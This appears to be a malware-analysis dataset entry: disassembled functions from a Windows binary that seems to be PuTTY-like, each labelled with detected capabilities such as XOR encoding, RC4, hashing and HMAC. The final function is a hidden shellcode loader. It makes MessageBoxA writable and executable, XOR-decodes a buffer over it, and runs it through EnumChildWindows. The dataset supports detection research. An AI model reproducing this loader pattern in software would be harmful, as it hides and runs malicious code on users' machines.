joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f5e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi + 0x80]
mov ecx, dword [edi + 0x84]
mov dword [ebp - 4], eax
mov dword [ebp + 0x10], ecx
test ebx, ebx
je 0x40f6aa
dec ebx
shr ebx, 3
push esi
mov esi, dword [ebp + 8]
inc ebx
push edi
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040ea40
lea eax, [edi + 0x88]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push dword [ebp - 0xc]
push eax
call fcn.0040e060
lea eax, [edi + 0x110]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push dword [ebp - 0xc]
push eax
call fcn.0040ea40
mov ecx, dword [ebp - 0xc]
lea esi, [esi + 8]
xor byte [esi - 5], cl
mov eax, ecx
shr eax, 0x18
add esp, 0x30
xor byte [esi - 8], al
mov eax, ecx
mov edx, dword [ebp - 4]
shr eax, 0x10
xor byte [esi - 7], al
mov eax, ecx
mov ecx, dword [ebp - 8]
xor byte [esi - 1], cl
shr eax, 8
xor byte [esi - 6], al
mov eax, ecx
shr eax, 0x18
xor byte [esi - 4], al
mov eax, ecx
shr eax, 0x10
xor byte [esi - 3], al
mov eax, ecx
mov ecx, dword [ebp + 0x10]
shr eax, 8
xor byte [esi - 2], al
add ecx, 1
lea eax, [edx + 1]
mov dword [ebp + 0x10], ecx
cmovne eax, edx
mov dword [ebp - 4], eax
sub ebx, 1
jne 0x40f611
pop esi
mov dword [edi + 0x84], ecx
mov dword [edi + 0x80], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412e50
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x120], esi
mov eax, dword [esi]
test eax, eax
jne 0x412e94
lea eax, [esi + 0x20]
push ebx
push eax
call fcn.00413e10
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x412f43
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.0041e6e0
mov edi, dword [esi + 0xc]
add esp, 4
shr edi, 3
xor esi, esi
test edi, edi
je 0x412eea
nop dword [eax]
push esi
push ebx
call fcn.0040b340
mov byte [ebp - 0x119], al
lea eax, [ebp - 0x119]
push 1
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0041e170
inc esi
add esp, 0x14
cmp esi, edi
jl 0x412ec0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.0041e390
mov al, byte [ebp - 0x25]
and byte [ebp - 0x44], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 0x25], al
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.0040b5e0
mov ecx, dword [ebp - 0x120]
mov edi, eax
add ecx, 0x1c
push edi
push ecx
call fcn.00413e10
push edi
mov esi, eax
call fcn.0040bbd0
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret

Function at 0x4149e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xb8
pop ebp
jmp fcn.00414ce0
Function at 0x415910
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
pop ebp
ret

Function at 0x415a00
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0042b4d0
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x415a57
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x415a54
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x415a40
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.00414c50
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.00414ce0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0042b4d0
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x415a98
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x415a98
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x415a84
lea esi, [ebx + 0x5c]
push esi
call fcn.00414c50
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.00414ce0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004248d0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
Function at 0x4195b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp edi, 0x4b0
jl 0x41968a
mov eax, 0x1b4e81b5
mul edi
mov ebx, edx
shr ebx, 7
imul eax, ebx, 0xfffffb50
add edi, eax
mov dword [ebp + 0xc], edi
nop
lea eax, [esi + 0x4af]
xor ecx, ecx
cmp eax, 0x4a22e8
jb 0x4195f8
mov eax, 0x4a2797
cmp eax, esi
jae 0x419667
mov eax, 0x4a22e8
mov edx, 0x4a2308
mov edi, 0x4a2318
nop word [eax + eax]
movups xmm0, xmmword [esi]
movups xmm1, xmmword [eax + ecx]
xorps xmm1, xmm0
movups xmmword [eax + ecx], xmm1
movups xmm0, xmmword [esi + 0x10]
movups xmm1, xmmword [ecx + 0x4a22f8]
xorps xmm1, xmm0
movups xmmword [ecx + 0x4a22f8], xmm1
movups xmm0, xmmword [edx + ecx]
movups xmm1, xmmword [esi + 0x20]
xorps xmm1, xmm0
movups xmmword [edx + ecx], xmm1
movups xmm1, xmmword [edi + ecx]
movups xmm0, xmmword [esi + 0x30]
add esi, 0x40
xorps xmm1, xmm0
movups xmmword [edi + ecx], xmm1
add ecx, 0x40
cmp ecx, 0x480
jl 0x419610
cmp ecx, 0x4b0
jge 0x419679
mov al, byte [esi]
inc esi
xor byte [ecx + 0x4a22e8], al
inc ecx
cmp ecx, 0x4b0
jl 0x419667
call fcn.00419b00
sub ebx, 1
jne 0x4195e0
mov edi, dword [ebp + 0xc]
xor ecx, ecx
test edi, edi
jle 0x419740
cmp edi, 0x40
jb 0x419730
lea eax, [esi - 1]
add eax, edi
lea edx, [edi + 0x4a22e7]
cmp eax, 0x4a22e8
jb 0x4196b3
cmp edx, esi
jae 0x419730
mov eax, edi
and eax, 0x8000003f
jns 0x4196c1
dec eax
or eax, 0xffffffc0
inc eax
mov edx, edi
mov ebx, 0x4a2308
sub edx, eax
mov edi, 0x4a2318
mov eax, 0x4a22e8
movups xmm0, xmmword [esi]
movups xmm1, xmmword [eax + ecx]
xorps xmm1, xmm0
movups xmmword [eax + ecx], xmm1
movups xmm0, xmmword [esi + 0x10]
movups xmm1, xmmword [ecx + 0x4a22f8]
xorps xmm1, xmm0
movups xmmword [ecx + 0x4a22f8], xmm1
movups xmm0, xmmword [ebx + ecx]
movups xmm1, xmmword [esi + 0x20]
xorps xmm1, xmm0
movups xmmword [ebx + ecx], xmm1
movups xmm1, xmmword [edi + ecx]
movups xmm0, xmmword [esi + 0x30]
add esi, 0x40
xorps xmm1, xmm0
movups xmmword [edi + ecx], xmm1
add ecx, 0x40
cmp ecx, edx
jl 0x4196d4
mov edi, dword [ebp + 0xc]
cmp ecx, edi
jge 0x419740
nop word [eax + eax]
mov al, byte [esi]
lea esi, [esi + 1]
xor byte [ecx + 0x4a22e8], al
inc ecx
cmp ecx, edi
jl 0x419730
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.00419b00
Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4a27f4], 0
push esi
push edi
jne 0x419c67
push fcn.00419890
mov dword [0x4a27f4], 1
call fcn.00424be0
push 0x4a27b0
push 0x4a279c
call fcn.0041ebe0
movups xmm0, xmmword [0x4a279c]
mov eax, dword [0x4a27ac]
add esp, 0xc
mov dword [0x4a27f0], 0
movups xmmword [ebp - 0x30], xmm0
mov edx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x74], 2
nop
movups xmm0, xmmword [0x4a22e8]
mov esi, 0x49c
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [0x4a22f8]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [0x4a2308]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x4a2318]
movups xmmword [ebp - 0x40], xmm0
xor eax, dword [esi + 0x4a22f8]
mov ecx, dword [ebp - 0x30]
xor ecx, dword [esi + 0x4a22e8]
xor edi, dword [esi + 0x4a22ec]
xor edx, dword [esi + 0x4a22f0]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x24]
xor ecx, dword [esi + 0x4a22f4]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
push eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
call fcn.0041ebe0
mov eax, dword [ebp - 0x30]
add esp, 8
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [esi + 0x4a22e8], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 0x4a22ec], edi
mov dword [esi + 0x4a22f0], edx
mov dword [esi + 0x4a22f4], ecx
mov dword [esi + 0x4a22f8], eax
sub esi, 0x14
jns 0x419bb1
sub dword [ebp - 0x74], 1
jne 0x419b80
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041ebe0
movups xmm0, xmmword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
add esp, 8
mov dword [0x4a27ac], eax
movups xmmword [0x4a279c], xmm0
mov dword [0x4a2798], 0x14
mov dword [0x4a27f4], 0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00429c0c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x41abd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], ecx
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x54], ebx
test eax, eax
jle 0x41ad9b
push esi
push edi
mov edi, dword [edx + 0x14]
cmp eax, edi
mov byte [ebp - 0x45], cl
cmovle edi, eax
mov eax, ecx
shr eax, 0x18
mov byte [ebp - 0x48], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0x47], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x46], al
mov eax, dword [edx]
mov dword [ebp - 0x60], edi
call eax
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x50]
mov esi, eax
push dword [ebp - 0x58]
push esi
mov ecx, dword [ecx + 8]
call ecx
push 4
lea eax, [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 8]
call eax
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x50]
push esi
mov eax, dword [eax + 0xc]
call eax
mov ecx, dword [ebp - 0x4c]
add esp, 0x20
inc ecx
xor eax, eax
mov dword [ebp - 0x4c], ecx
test edi, edi
jle 0x41ad81
cmp edi, 8
jb 0x41ad60
lea edx, [ebx - 1]
lea ecx, [ebp + edi - 0x45]
add edx, edi
cmp ebx, ecx
ja 0x41ac91
lea ecx, [ebp - 0x44]
cmp edx, ecx
jae 0x41ad60
cmp edi, 0x40
jb 0x41ad1c
mov ecx, edi
and ecx, 0x8000003f
jns 0x41aca9
dec ecx
or ecx, 0xffffffc0
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea edi, [ebp - 0x34]
sub esi, ebx
lea ecx, [ebx + 0x20]
sub edi, ebx
mov dword [ebp - 0x5c], edi
mov ebx, edi
nop
movups xmm0, xmmword [ecx - 0x20]
lea edi, [ebp - 0x44]
movups xmm1, xmmword [edi + eax]
mov edi, dword [ebp - 0x60]
lea ecx, [ecx + 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x50]
movups xmm1, xmmword [ebp + eax - 0x34]
add eax, 0x40
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movups xmm0, xmmword [ecx - 0x40]
movups xmm1, xmmword [esi + ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm1, xmmword [ebx + ecx - 0x40]
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jl 0x41acc0
mov ebx, dword [ebp - 0x54]
mov ecx, edi
and cl, 0x3f
cmp cl, 8
jb 0x41ad5c
mov ecx, edi
and ecx, 0x80000007
jns 0x41ad2b
dec ecx
or ecx, 0xfffffff8
inc ecx
mov edx, edi
lea esi, [ebp - 0x44]
sub edx, ecx
lea ecx, [eax + ebx]
sub esi, ebx
nop word [eax + eax]
movq xmm1, qword [ecx + esi]
lea ecx, [ecx + 8]
movq xmm0, qword [ecx - 8]
add eax, 8
xorps xmm1, xmm0
movq qword [ecx - 8], xmm1
cmp eax, edx
jl 0x41ad40
cmp eax, edi
jge 0x41ad7e
lea esi, [ebp - 0x44]
lea edx, [eax + ebx]
sub esi, ebx
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, edi
jl 0x41ad70
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp + 0x18]
add ebx, edi
mov edx, dword [ebp - 0x50]
sub eax, edi
mov dword [ebp - 0x54], ebx
mov dword [ebp + 0x18], eax
test eax, eax
jg 0x41ac05
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
Function at 0x41bac0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xd8
pop ebp
jmp fcn.0041c1a0
Function at 0x41c2a0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
pop ebp
ret

Function at 0x41c570
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0042b4d0
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x41c5c7
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x41c5c4
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x41c5b0
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0041c480
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0041c1a0
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0042b4d0
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x41c608
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x41c608
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x41c5f4
lea esi, [ebx + 0x6c]
push esi
call fcn.0041c480
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0041c1a0
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004248d0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
Function at 0x41e920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 0xc0
pop ebp
jmp fcn.0041ee40
Function at 0x41ef40
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
pop ebp
ret

Function at 0x41f230
Capabilities:
Authenticate hmac

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push edi
push 0x40
push 0x36
push eax
mov dword [ebp - 0x48], ebx
call fcn.0042b4d0
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov edi, dword [ebp + 0xc]
xor edx, edx
test esi, esi
jle 0x41f287
mov ebx, edi
lea eax, [ebp - 0x44]
sub ebx, eax
nop dword [eax]
cmp edx, 0x40
jge 0x41f284
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x41f270
mov ebx, dword [ebp - 0x48]
push ebx
call fcn.0041f0c0
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0041ee40
push 0x40
lea eax, [ebp - 0x44]
push 0x5c
push eax
call fcn.0042b4d0
add esp, 0x1c
xor edx, edx
test esi, esi
jle 0x41f2c8
lea eax, [ebp - 0x44]
sub edi, eax
cmp edx, 0x40
jge 0x41f2c8
lea ecx, [ebp - 0x44]
add ecx, edx
inc edx
mov al, byte [edi + ecx]
xor byte [ecx], al
cmp edx, esi
jl 0x41f2b4
lea esi, [ebx + 0x60]
push esi
call fcn.0041f0c0
push 0x40
lea eax, [ebp - 0x44]
push eax
push esi
call fcn.0041ee40
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.004248d0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret

Function at 0x424830
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x4a2898]
push esi
push edi
test ecx, ecx
jne 0x424876
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
lea eax, [esi + esi*2]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push 1
add esi, 0x200
push esi
push ecx
call fcn.00406bb0
add esp, 0xc
mov dword [0x4a2898], eax
push esi
push eax
call edi
mov ecx, dword [0x4a2898]
cmp eax, esi
jge 0x424847
push 0
push dword [ebp + 8]
push 0x492e90
push ecx
call fcn.004063a0
add esp, 0x10
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov edi, eax
call fcn.00406af0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x424a20
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x12c]
push edi
push 0x107
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x12c]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x424a51
mov ax, word [0x492ed4]
mov word [ecx], ax
mov al, byte [0x492ed6]
mov byte [ecx + 2], al
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x424ab7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
lea eax, [ebp - 0x26c]
push 0x140
push eax
call esi
add esp, 8
lea eax, [ebp - 0x26c]
push eax
push edi
call ebx
test eax, eax
jne 0x424a90
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x274]
push 4
push eax
call esi
add esp, 8
cmp dword [0x4a28ac], 0
jne 0x424b54
push str.advapi32.dll
call fcn.00424830
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov dword [0x4a28ac], eax
test eax, eax
je 0x424b07
push str.CryptAcquireContextA
push eax
call edi
mov ecx, eax
mov eax, dword [0x4a28ac]
jmp 0x424b09
xor ecx, ecx
mov dword [0x4a28a0], ecx
test eax, eax
je 0x424b24
push str.CryptGenRandom
push eax
call edi
mov ecx, eax
mov eax, dword [0x4a28ac]
jmp 0x424b26
xor ecx, ecx
mov dword [0x4a28a4], ecx
test eax, eax
je 0x424b48
push str.CryptReleaseContext
push eax
call edi
cmp dword [0x4a28ac], 0
mov dword [0x4a28a8], eax
je 0x424bb7
jmp 0x424b59
mov dword [0x4a28a8], 0
jmp 0x424bb7
mov eax, dword [0x4a28a8]
mov ecx, dword [0x4a28a0]
test ecx, ecx
je 0x424bb7
cmp dword [0x4a28a4], 0
je 0x424bb7
test eax, eax
je 0x424bb7
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x270]
push eax
call ecx
test eax, eax
je 0x424bb7
lea eax, [ebp - 0x24]
push eax
push 0x20
push dword [ebp - 0x270]
call dword [0x4a28a4]
test eax, eax
je 0x424ba9
lea eax, [ebp - 0x24]
push 0x20
push eax
call esi
add esp, 8
push 0
push dword [ebp - 0x270]
call dword [0x4a28a8]
push esi
call fcn.00428760
add esp, 4
call fcn.00424da0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
Function at 0x424c40
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push 4
push eax
call fcn.00419890
add esp, 8
push 0x1cbf
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push 4
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 0x54]
push 8
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.00419890
add esp, 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.00419890
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
call fcn.00429c0c
mov esp, ebp
pop ebp
ret
Function at 0x426780
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2350
call fcn.00429c20
mov eax, dword [0x4a1600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2344], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2348], eax
call fcn.004242f0
push 0x2336
lea eax, [ebp - 0x233c]
push str.____
push eax
call fcn.0042ae20
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov bl, byte [ebp - 0x233c]
push str.VirtualProtect
push eax
xor bl, 0x90
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x2350]
push ecx
push 0x40
nop
nop
nop
push 0x2335
nop
push edi
call eax
mov ecx, edi
lea esi, [ebp - 0x233c]
sub esi, ecx
mov edx, 0x2335
nop
mov al, byte [esi + ecx]
nop
lea ecx, [ecx + 1]
nop
nop
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x426814
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.004216c0
mov eax, dword [ebp - 0x2344]
mov dword [0x4a3c9c], eax
mov dword [0x4a3ca4], 0
call fcn.00423f80
push 0
lea eax, [ebp - 0x234c]
push eax
lea eax, [ebp - 0x2340]
push eax
push dword [ebp - 0x2348]
call fcn.00429680
xor edi, edi
add esp, 0x10
cmp dword [ebp - 0x2340], edi
jle 0x426996
mov eax, dword [ebp - 0x234c]
mov ecx, str._pgpfp
mov esi, dword [eax + edi*4]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4268c1
test dl, dl
je 0x4268bd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4268c1
add eax, 2
add ecx, 2
test dl, dl
jne 0x4268a1
xor eax, eax
jmp 0x4268c6
sbb eax, eax
or eax, 1
test eax, eax
je 0x426979
mov ecx, 0x496370
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4268f5
test dl, dl
je 0x4268f1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4268f5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4268d5
xor eax, eax
jmp 0x4268fa
sbb eax, eax
or eax, 1
test eax, eax
je 0x42695e
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x426925
test dl, dl
je 0x426921
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x426925
add eax, 2
add ecx, 2
test dl, dl
jne 0x426905
xor eax, eax
jmp 0x42692a
sbb eax, eax
or eax, 1
test eax, eax
je 0x42695e
mov eax, str._restrictacl
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x426955
test dl, dl
je 0x426951
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x426955
add ecx, 2
add eax, 2
test dl, dl
jne 0x426935
xor eax, eax
jmp 0x42695a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x426971
call fcn.00427e70
inc edi
cmp edi, dword [ebp - 0x2340]
jge 0x426996
jmp 0x426891
mov dword [0x4a28b0], esi
jmp 0x426996
call fcn.004295a0
